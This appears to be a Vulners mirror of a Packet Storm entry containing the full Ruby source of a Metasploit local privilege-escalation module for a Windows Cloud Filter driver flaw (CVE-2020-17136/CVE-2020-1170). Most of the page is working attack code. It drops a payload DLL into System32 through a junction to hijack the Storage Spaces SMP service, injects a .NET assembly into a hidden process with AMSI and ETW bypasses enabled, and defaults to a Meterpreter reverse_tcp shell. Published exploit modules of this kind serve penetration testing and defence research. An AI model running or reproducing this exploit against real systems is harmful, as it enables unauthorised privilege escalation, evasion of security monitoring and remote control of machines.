Lucene search
K

Cloud Filter Arbitrary File Creation / Privilege Escalation

🗓️ 12 Jan 2021 00:00:00Reported by Grant WillcoxType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 619 Views

Cloud Filter driver vulnerability in Windows 10 v1803 and later allows local users to create arbitrary files and escalate privileges via FltCreateFileEx().

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Cloud Filter Arbitrary File Creation / Privilege Escalation Exploit
12 Jan 202100:00
zdt
ATTACKERKB
CVE-2020-1170
9 Jun 202000:00
attackerkb
ATTACKERKB
CVE-2020-17136
10 Dec 202000:00
attackerkb
Information Security Automation
Microsoft Patch Tuesday June 2020: The Bleeding Ghost of SMB
23 Jun 202001:31
avleonov
Circl
CVE-2020-1170
29 Oct 202418:47
circl
Circl
CVE-2020-17136
11 Jan 202122:23
circl
CNNVD
Microsoft Windows Cloud Files Mini Filter Driver Security Vulnerability
8 Dec 202000:00
cnnvd
CNVD
Microsoft Windows Defender Elevation of Privilege Vulnerability (CNVD-2021-25012)
10 Jun 202000:00
cnvd
CVE
CVE-2020-1170
9 Jun 202019:43
cve
CVE
CVE-2020-17136
9 Dec 202023:36
cve
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
include Exploit::EXE  
include Msf::Post::File  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::Process  
include Msf::Post::Windows::ReflectiveDLLInjection  
include Msf::Post::Windows::Dotnet  
include Msf::Post::Windows::Services  
include Msf::Post::Windows::FileSystem  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'CVE-2020-1170 Cloud Filter Arbitrary File Creation EOP',  
'Description' => %q{  
The Cloud Filter driver, cldflt.sys, on Windows 10 v1803 and later, prior to the December  
2020 updates, did not set the IO_FORCE_ACCESS_CHECK or OBJ_FORCE_ACCESS_CHECK flags when  
calling FltCreateFileEx() and FltCreateFileEx2() within its HsmpOpCreatePlaceholders()  
function with attacker controlled input. This meant that files were created with  
KernelMode permissions, thereby bypassing any security checks that would otherwise  
prevent a normal user from being able to create files in directories  
they don't have permissions to create files in.  
  
This module abuses this vulnerability to perform a DLL hijacking attack against the  
Microsoft Storage Spaces SMP service, which grants the attacker code execution as the  
NETWORK SERVICE user. Users are strongly encouraged to set the PAYLOAD option to one  
of the Meterpreter payloads, as doing so will allow them to subsequently escalate their  
new session from NETWORK SERVICE to SYSTEM by using Meterpreter's "getsystem" command  
to perform RPCSS Named Pipe Impersonation and impersonate the SYSTEM user.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'James Foreshaw', # Vulnerability discovery and PoC creator  
'Grant Willcox' # Metasploit module  
],  
'Platform' => ['win'],  
'SessionTypes' => ['meterpreter'],  
'Privileged' => true,  
'Arch' => [ARCH_X64],  
'Targets' =>  
[  
[ 'Windows DLL Dropper', { 'Arch' => [ARCH_X64], 'Type' => :windows_dropper } ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2020-03-10',  
'References' => [  
['CVE', '2020-17136'],  
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=2082'],  
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17136']  
],  
'Notes' =>  
{  
'SideEffects' => [ ARTIFACTS_ON_DISK ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'Stability' => [ CRASH_SAFE ]  
},  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',  
}  
)  
)  
register_options(  
[  
OptBool.new('AMSIBYPASS', [true, 'Enable Amsi bypass', true]),  
OptBool.new('ETWBYPASS', [true, 'Enable Etw bypass', true]),  
OptInt.new('WAIT', [false, 'Time in seconds to wait', 5])  
], self.class  
)  
  
register_advanced_options(  
[  
OptBool.new('KILL', [true, 'Kill the injected process at the end of the task', false])  
]  
)  
end  
  
def check_requirements(clr_req, installed_dotnet_versions)  
installed_dotnet_versions.each do |fi|  
if clr_req == 'v4.0.30319'  
if fi[0] == '4'  
vprint_status('Requirements ok')  
return true  
end  
elsif fi[0] == '3'  
vprint_status('Requirements ok')  
return true  
end  
end  
print_error('Required dotnet version not present')  
false  
end  
  
def check  
sysinfo_value = sysinfo['OS']  
if sysinfo_value !~ /windows/i  
# Non-Windows systems are definitely not affected.  
return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')  
end  
  
build_num_raw = cmd_exec('cmd.exe /c ver')  
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)  
if build_num.nil?  
return CheckCode::Unknown("Couldn't retrieve the target's build number!")  
else  
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)[0]  
vprint_status("Target's build number: #{build_num}")  
end  
  
build_num_gemversion = Gem::Version.new(build_num)  
# Build numbers taken from https://www.qualys.com/research/security-alerts/2020-03-10/microsoft/  
if (build_num_gemversion >= Gem::Version.new('10.0.19042.0')) && (build_num_gemversion < Gem::Version.new('10.0.19042.685')) # Windows 10 20H2  
return CheckCode::Appears('A vulnerable Windows 10 20H2 build was detected!')  
elsif (build_num_gemversion >= Gem::Version.new('10.0.19041.0')) && (build_num_gemversion < Gem::Version.new('10.0.19041.685')) # Windows 10 v2004 aka 20H1  
return CheckCode::Appears('A vulnerable Windows 10 20H1 build was detected!')  
elsif (build_num_gemversion >= Gem::Version.new('10.0.18363.0')) && (build_num_gemversion < Gem::Version.new('10.0.18363.1256')) # Windows 10 v1909  
return CheckCode::Appears('A vulnerable Windows 10 v1909 build was detected!')  
elsif (build_num_gemversion >= Gem::Version.new('10.0.18362.0')) && (build_num_gemversion < Gem::Version.new('10.0.18362.1256')) # Windows 10 v1903  
return CheckCode::Appears('A vulnerable Windows 10 v1903 build was detected!')  
elsif (build_num_gemversion >= Gem::Version.new('10.0.17763.0')) && (build_num_gemversion < Gem::Version.new('10.0.17763.1637')) # Windows 10 v1809  
return CheckCode::Appears('A vulnerable Windows 10 v1809 build was detected!')  
elsif (build_num_gemversion >= Gem::Version.new('10.0.17134.0')) && (build_num_gemversion < Gem::Version.new('10.0.17134.1902')) # Windows 10 v1803  
return CheckCode::Appears('A vulnerable Windows 10 v1809 build was detected!')  
else  
return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')  
end  
end  
  
def exploit  
if sysinfo['Architecture'] != 'x64'  
fail_with(Failure::NoTarget, 'This module currently only supports targeting x64 systems!')  
elsif session.arch != 'x64'  
fail_with(Failure::NoTarget, 'Sorry, WoW64 is not supported at this time!')  
end  
dir_junct_path = 'C:\\Windows\\Temp'  
intermediate_dir = rand_text_alpha(10).to_s  
junction_dir = rand_text_alpha(10).to_s  
path_to_intermediate_dir = "#{dir_junct_path}\\#{intermediate_dir}"  
  
mkdir("#{path_to_intermediate_dir}")  
if !directory?("#{path_to_intermediate_dir}")  
fail_with(Failure::UnexpectedReply, 'Could not create the intermediate directory!')  
end  
register_dir_for_cleanup("#{path_to_intermediate_dir}")  
  
mkdir("#{path_to_intermediate_dir}\\#{junction_dir}")  
if !directory?("#{path_to_intermediate_dir}\\#{junction_dir}")  
fail_with(Failure::UnexpectedReply, 'Could not create the junction directory as a folder!')  
end  
  
mount_handle = create_mount_point("#{path_to_intermediate_dir}\\#{junction_dir}", 'C:\\')  
if !directory?("#{path_to_intermediate_dir}\\#{junction_dir}")  
fail_with(Failure::UnexpectedReply, 'Could not transform the junction directory into a junction!')  
end  
  
exe_path = 'data/exploits/CVE-2020-17136/cloudFilterEOP.exe'  
unless File.file?(exe_path)  
fail_with(Failure::BadConfig, 'Assembly not found')  
end  
installed_dotnet_versions = get_dotnet_versions  
vprint_status("Dot Net Versions installed on target: #{installed_dotnet_versions}")  
if installed_dotnet_versions == []  
fail_with(Failure::BadConfig, 'Target has no .NET framework installed')  
end  
if check_requirements('v4.0.30319', installed_dotnet_versions) == false  
fail_with(Failure::BadConfig, 'CLR required for assembly not installed')  
end  
payload_path = "C:\\Windows\\Temp\\#{rand_text_alpha(16)}.dll"  
print_status("Dropping payload dll at #{payload_path} and registering it for cleanup...")  
write_file(payload_path, generate_payload_dll)  
register_file_for_cleanup(payload_path)  
execute_assembly(exe_path, "#{path_to_intermediate_dir} #{junction_dir}\\Windows\\System32\\healthapi.dll #{payload_path}")  
service_start('smphost')  
register_file_for_cleanup('C:\\Windows\\System32\\healthapi.dll')  
sleep(3)  
delete_mount_point("#{path_to_intermediate_dir}\\#{junction_dir}", mount_handle)  
end  
  
def pid_exists(pid)  
mypid = client.sys.process.getpid.to_i  
  
if pid == mypid  
print_bad('Cannot select the current process as the injection target')  
return false  
end  
  
host_processes = client.sys.process.get_processes  
if host_processes.empty?  
print_bad('No running processes found on the target host.')  
return false  
end  
  
theprocess = host_processes.find { |x| x['pid'] == pid }  
  
!theprocess.nil?  
end  
  
def launch_process  
process_name = 'notepad.exe'  
print_status("Launching #{process_name} to host CLR...")  
  
process = client.sys.process.execute(process_name, nil, {  
'Channelized' => true,  
'Hidden' => true,  
'UseThreadToken' => true,  
'ParentPid' => 0  
})  
hprocess = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)  
print_good("Process #{hprocess.pid} launched.")  
[process, hprocess]  
end  
  
def inject_hostclr_dll(process)  
print_status("Reflectively injecting the Host DLL into #{process.pid}..")  
  
library_path = ::File.join(Msf::Config.data_directory, 'post', 'execute-dotnet-assembly', 'HostingCLRx64.dll')  
library_path = ::File.expand_path(library_path)  
  
print_status("Injecting Host into #{process.pid}...")  
exploit_mem, offset = inject_dll_into_process(process, library_path)  
[exploit_mem, offset]  
end  
  
def execute_assembly(exe_path, exe_args)  
if sysinfo.nil?  
fail_with(Failure::BadConfig, 'Session invalid')  
else  
print_status("Running module against #{sysinfo['Computer']}")  
end  
if datastore['WAIT'].zero?  
print_warning('Output unavailable as wait time is 0')  
end  
  
process, hprocess = launch_process  
exploit_mem, offset = inject_hostclr_dll(hprocess)  
  
assembly_mem = copy_assembly(exe_path, hprocess, exe_args)  
  
print_status('Executing...')  
hprocess.thread.create(exploit_mem + offset, assembly_mem)  
  
if datastore['WAIT'].positive?  
sleep(datastore['WAIT'])  
read_output(process)  
end  
  
if datastore['KILL']  
print_good("Killing process #{hprocess.pid}")  
client.sys.process.kill(hprocess.pid)  
end  
  
print_good('Execution finished.')  
end  
  
def copy_assembly(exe_path, process, exe_args)  
print_status("Host injected. Copy assembly into #{process.pid}...")  
int_param_size = 8  
sign_flag_size = 1  
amsi_flag_size = 1  
etw_flag_size = 1  
assembly_size = File.size(exe_path)  
  
cln_params = ''  
cln_params << exe_args  
cln_params << "\x00"  
  
payload_size = amsi_flag_size + etw_flag_size + sign_flag_size + int_param_size  
payload_size += assembly_size + cln_params.length  
assembly_mem = process.memory.allocate(payload_size, PAGE_READWRITE)  
params = [  
assembly_size,  
cln_params.length,  
datastore['AMSIBYPASS'] ? 1 : 0,  
datastore['ETWBYPASS'] ? 1 : 0,  
2  
].pack('IICCC')  
params += cln_params  
  
process.memory.write(assembly_mem, params + File.read(exe_path))  
print_status('Assembly copied.')  
assembly_mem  
end  
  
def read_output(process)  
print_status('Start reading output')  
old_timeout = client.response_timeout  
client.response_timeout = 5  
  
begin  
loop do  
output = process.channel.read  
if !output.nil? && !output.empty?  
output.split("\n").each { |x| print_good(x) }  
end  
break if output.nil? || output.empty?  
end  
rescue Rex::TimeoutError  
vprint_warning('Time out exception: wait limit exceeded (5 sec)')  
rescue ::StandardError => e  
print_error("Exception: #{e.inspect}")  
end  
  
client.response_timeout = old_timeout  
print_status('End output.')  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation